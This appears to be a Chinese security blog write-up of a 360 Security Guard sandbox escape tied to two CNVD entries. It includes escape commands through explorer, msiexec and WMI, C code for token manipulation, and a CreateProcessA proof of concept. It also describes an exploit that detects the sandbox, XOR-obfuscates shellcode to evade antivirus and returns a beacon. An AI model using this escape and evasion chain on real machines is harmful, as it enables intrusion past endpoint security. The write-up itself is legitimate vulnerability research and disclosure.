0x01 简介
在2020年6月的一天发现在0day.today上有一个关于360沙盒逃逸的漏洞360 Security Sandbox Escape，当时简单测试了下便获得了逃逸的POC(explorer.exe /e /select,C:\windows\system32\cmd.exe)，本文记录详细过程和其他的逃逸方式。
0x02 环境准备
下载360安全卫士进行安装，随后在主界面点击功能大全，选择隔离沙箱添加：
添加隔离沙箱后，版本是3.5.0.1035(该程序好像已经年久失修了，2020年的逃逸在2022年依然可以利用)：
可以在右键菜单中使用在隔离沙箱中运行功能：
如没有右键菜单可以在沙箱高级设置中开启：
也可以将要运行的程序拖放进隔离沙箱的程序列表中：
在沙箱中运行的程序顶部会有保护中的标识，并且在沙盒中的程序无法访问C:\360SANDBOX\文件夹，会提示拒绝访问：
在沙盒中的程序创建目录不会在宿主磁盘中显示（可以用来在后续判断是否已经逃逸）：
0x03 可视化逃逸
这一部分是登录系统后直接在隔离沙箱中执行测试程序来尝试逃逸。测试程序是系统自带的程序或者安装的软件，通过观察这些软件是否可以在沙箱外造成影响。
0x3-1 Explorer
测试时可以进入到命令行中执行系统的其他程序。在之前的版本(2020年测试时)，可以直接在沙箱中指向cmd等程序现在已经不能直接运行，说明程序还是进行了一些更新：
通过打开文本文件后，另存为时进入命令行界面：
在另存为的界面顶部地址栏中执行CMD(或者shift右键在此处打开命令行):
在获得的命令行中查看当前用户和权限：
可以发现该进程的令牌特权是低完整性的，可能是通过API函数 CreateRestrictedToken或 AdjustTokenPrivileges 删除了部分特权：
在这个命令行中启动其他程序来测试，创建的子进程也会在沙箱环境中执行：
尝试在沙箱中运行浏览器等软件都仍然在沙箱中执行：
当执行explorer程序时，资源管理器程序没有显示在沙箱中执行的标记：
尝试在顶部地址栏中打开命令行，查看当前权限发现已经是完整的管理员权限了：
当然也可以在沙箱外对磁盘写入文件等全部操作：
这说明通过explorer程序可以在沙箱外进行操作，那么也可以直接通过explorer执行其他文件：
#以资源管理器方式打开选中的文件夹或文件
explorer /e /select,C:\windows\system32\cmd.exe
#通过关联程序打开文件
explorer C:\windows\system32\cmd.exe
可以看到，果然可以通过explorer来逃逸沙箱:
这就确认了一种可以逃逸360沙箱并获得完整管理员权限的方法。
0x3-1-1 特权移除测试
上文观察到沙箱环境内的特权被移除了，尝试通过AdjustTokenPrivileges实现特权的移除。特权移除Demo如下，Demo将移除SeCreateGlobalPrivilege特权(其他一些特权信息可以在微软文档查阅 User Rights Assignment):
DWORD RemovePrivilege()
{
HANDLE hToken;
DWORD hr = 0;
LUID luid;
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
if (LookupPrivilegeValue(NULL,// lookup privilege on local system
SE_CREATE_GLOBAL_NAME, // privilege to lookup
&luid)) // receives LUID of privilege
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) {
hr = GetLastError();
printf("[-] AdjustTokenPrivileges error:%d \n", hr);
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
hr = GetLastError();
printf("[-] The token does not have the specified privilege:%d.\n", hr);
}
}
else {
hr = GetLastError();
printf("[-] Error:%d\n", hr);
}
return hr;
}
根据基础Demo编写删除更多特权的程序，执行后发现部分特权已经被删除：
0x3-2 Msiexec
在360沙盒中也可以通过msiexec执行msi程序获得沙箱外的命令执行，只不过获得的仍然是受限Shell。通过在Visual Studio安装Microsoft Visual Studio Installer Projects插件来构建msi安装包。
在项目中右键选择View->自定义操作：
把cmd.exe添加到安装时的命令中:
构建好执行cmd程序的msi安装包后，在沙盒环境的命令行中执行msiexec /q /i cmd.msi：
使用msiexec执行msi安装程序时也可以逃逸出沙箱环境，但是特权仍然有限。
0x3-3 Win32_Process
另外也可以使用Win32_Process类获得沙箱外受限的命令执行：
# wmic 调用
wmic process call create cmd
# vbs script , wscript xx.vbs / xx.vbs 对象调用
INT GetObject("winmgmts:Win32_Process").Create("cmd.exe",null,null,null)
这种方式与msiexec方式获得的权限一致。
0x04 漏洞验证实现
通过以上测试，选择explorer作为逃逸的利用程序。编写POC进行验证，主要使用CreateProcessA创建进程获得沙箱外的命令执行：
#include <windows.h>
#include <stdio.h>
int main(int argc, char* argv[])
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
si.wShowWindow = SW_HIDE;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
if (!CreateProcessA(NULL, "explorer.exe C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) { return 0; }
printf("[+] ProcessId：%d \n", pi.dwProcessId);
printf("[+] ThreadId：%d \n", pi.dwThreadId);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}
程序执行后通过explorer执行powershell，成功获得了完整特权下的沙箱逃逸。
0x05 漏洞利用实现
在漏洞利用程序EXP中可以通过检测当前Token中启用的特权判断是否在沙箱环境中，已知的沙箱环境中Token特权为：
SeChangeNotifyPrivilege 绕过遍历检查 已启用
SeUndockPrivilege 从扩展坞上取下计算机 已禁用
SeIncreaseWorkingSetPrivilege 增加进程工作集 已禁用
SeTimeZonePrivilege 更改时区 已禁用
普通用户比沙箱中多了SeShutdownPrivilege特权
将简单以该特权判断是否在沙箱中运行，在沙箱中利用AdjustTokenPrivileges修改不存在的SeShutdownPrivilege特权会抛出ERROR_NOT_ALL_ASSIGNED(错误号1300)错误：
1300错误号说明:
当在程序中修改特权返回ERROR_NOT_ALL_ASSIGNED时就说明在沙箱中，则通过explorer来执行当前文件获得沙箱外命令执行，如果修改特权正常，就执行shellcode注入等操作:
测试逃逸沙箱执行cmd:
将执行cmd的命令换成shellcode注入：
因为360安全沙箱是与360安全卫士配套的，所以就需要对360安全卫士进行一次免杀绕过，这里的shellcode就直接使用RWA格式的stage加上简单异或：
将异或后的数组还原后打印出来，可以看出来就是原来的shellcode:
通过这种方式简单绕过安全卫士的查杀，接下来在沙箱中执行获取beacon，执行结果如下:
最终可以实现在安全沙箱中逃逸并绕过查杀返回beacon。
0x06 文末总结
最开始通过漏洞交易网站获得漏洞信息，然后对该安全沙箱程序进行实验，最终发现了可以进行逃逸的Payload，并通过编程实现的方式完成了POC和EXP的编写。该缺陷在cnvd上已有相关编号(CNVD-2021-41714、CNVD-2021-52377)，POC: 360SecuritySandboxEscape
0x07 参考链接
Token列表
Chrome 沙盒逃逸
更改令牌中的特权
限制 Windows 上的权限(AdjustTokenPrivileges和CreateRestrictedToken)
